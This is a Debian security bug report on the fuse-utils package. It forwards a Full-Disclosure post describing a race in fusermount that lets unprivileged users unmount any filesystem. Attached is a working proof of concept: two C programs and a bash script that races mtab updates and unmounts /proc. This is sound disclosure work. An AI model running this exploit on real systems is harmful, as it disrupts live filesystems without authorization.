--- Begin Message ---
Package: fuse-utils
Version: 2.7.4-1.1+lenny1
Severity: grave
File: /usr/bin/fusermount
Tags: security
Justification: user security hole
As reported on a public mailing list, fusermount in Ubuntu allows
unprivileged users to unmount anything. I wonder if Debian is affected.
Relevant files attached below.
Cheers,
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of Sydney Australia
-- System Information:
Debian Release: 5.0.6
APT prefers stable
APT policy: (500, 'stable')
Architecture: i386 (i686)
Kernel: Linux 2.6.32-pk04.00-svr (SMP w/8 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)
Shell: /bin/sh linked to /bin/bash
Versions of packages fuse-utils depends on:
ii adduser 3.110 add and remove users and groups
ii libc6 2.7-18lenny6 GNU C Library: Shared libraries
ii libfuse2 2.7.4-1.1+lenny1 Filesystem in USErspace library
ii makedev 2.3.1-88 creates device files in /dev
ii sed 4.1.5-6 The GNU sed stream editor
ii udev 0.125-7+lenny3 /dev/ and hotplug management daemo
fuse-utils recommends no packages.
fuse-utils suggests no packages.
-- no debconf information
Title: [Full-disclosure] fusermount: Unmount any filesystem
[Full-disclosure] fusermount: Unmount any filesystem
halfdog
me at halfdog.net
Tue Nov 2 17:44:11 GMT 2010
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hello List,
To evaluate the pros and cons of various disclosure methods, I'm trying
full disclosure this time:
At least on ubuntu lucid, the fusermount tool contains a timerace
mounting a user filesystem and updating mtab, thus mtab entries with
arbitrary path can be created. Crafted mtab entries can then be used to
unmount live parts of the filesystem.
http://www.halfdog.net/Security/FuseTimerace/
- --
http://www.halfdog.net/
PGP: 156A AE98 B91F 0114 FE88 2BD8 C459 9386 feed a bee
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
iD8DBQFM0E3rxFmThv7tq+4RAmavAJ9JNdwF6R0gv1FlIZ3to1QrkQs90wCgkUvA
IpD9Wfe/viLLIMLEfE1B2yo=
=tFrk
-----END PGP SIGNATURE-----
Full-Disclosure is hosted and sponsored by Secunia.
|
www.halfdog.net:Security:FuseTimerace:index.html
Description: XML document
/** Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -lfuse -Wall FuseMinimal.c -o FuseMinimal
*
* Copyright (c) halfdog <m...@halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/
#define FUSE_USE_VERSION 26
#include <errno.h>
#include <fuse.h>
#include <string.h>
static int io_getattr(const char *path, struct stat *stbuf) {
int res=-1;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
}
return(res);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
(void) offset;
(void) fi;
if(strcmp(path, "/")!=0) return -ENOENT;
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
return 0;
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readdir = io_readdir,
};
int main(int argc, char *argv[]) {
return fuse_main(argc, argv, &hello_oper, NULL);
}
/** This program waits for notify of file/directory to replace
* given directory with symlink.
* Parameters:
* * --LinkTarget: If set, the MovePath is replaced with link to
* this path
* Usage: DirModifyInotify.c --Watch [watchfile0] --WatchCount [num]
* --MovePath [path] --LinkTarget [path]
* gcc -o DirModifyInotify DirModifyInotify.c
*
*
* Copyright (c) halfdog <m...@halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
int main(int argc, char **argv) {
char *movePath=NULL;
char *newDirName;
char *symlinkTarget=NULL;
int argPos;
int handle;
int inotifyHandle;
int inotifyDataSize=sizeof(struct inotify_event);
struct inotify_event *inotifyData;
int randomVal;
int callCount;
int targetCallCount=0;
int debugFlag=0;
int ret;
if(argc<4) return(1);
inotifyHandle=inotify_init();
for(argPos=1; argPos<argc; argPos++) {
if(!strcmp(argv[argPos], "--Debug")) {
debugFlag=1;
continue;
}
if(!strcmp(argv[argPos], "--LinkTarget")) {
argPos++;
if(argPos==argc) exit(1);
symlinkTarget=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MovePath")) {
argPos++;
if(argPos==argc) exit(1);
movePath=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--Watch")) {
argPos++;
if(argPos==argc) exit(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
ret=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
if(ret==-1) {
fprintf(stderr, "Failed to add watch path %s, error %d\n",
argv[argPos], errno);
return(1);
}
continue;
}
if(!strcmp(argv[argPos], "--WatchCount")) {
argPos++;
if(argPos==argc) exit(1);
targetCallCount=atoi(argv[argPos]);
continue;
}
fprintf(stderr, "Unknown option %s\n", argv[argPos]);
return(1);
}
if(!movePath) {
fprintf(stderr, "No move path specified!\n" \
"Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
" --LinkTarget [path]\n");
return(1);
}
fprintf(stderr, "Using target call count %d\n", targetCallCount);
// Init name of new directory
newDirName=(char*)malloc(strlen(movePath)+256);
sprintf(newDirName, "%s-moved", movePath);
inotifyData=(struct inotify_event*)malloc(inotifyDataSize);
for(callCount=0; ; callCount++) {
ret=read(inotifyHandle, inotifyData, inotifyDataSize);
if(callCount==targetCallCount) {
/*
ret=rmdir("tmp/tmp");
if(!ret) fprintf(stderr, "rmdir failed, error %d\n", errno);
*/
rename(movePath, newDirName);
if(symlinkTarget) symlink(symlinkTarget, movePath);
fprintf(stderr, "Move triggered at count %d\n", callCount);
}
if(debugFlag) {
fprintf(stderr, "Received notify %d, ret %d\n", callCount, ret);
}
if(ret<0) {
break;
}
}
return(0);
}
#!/bin/bash
#
# Copyright (c) halfdog <m...@halfdog.net>
#
# This software is provided by the copyright owner "as is" to
# study it but without any expressed or implied warranties, that
# this software is fit for any other purpose. If you try to compile
# or run it, you do it solely on your own risk and the copyright
# owner shall not be liable for any direct or indirect damage
# caused by this software.
mkdir -p tmp/proc
(cd tmp/proc; sleep 1; ../../FuseMinimal .) &
(./DirModifyInotify --Watch tmp/proc --Watch /etc/mtab --WatchCount 8 --MovePath tmp --LinkTarget /) &
sleep 3
fusermount -u -z /proc/
# Check that proc was unmounted by running ps
ps aux
--- End Message ---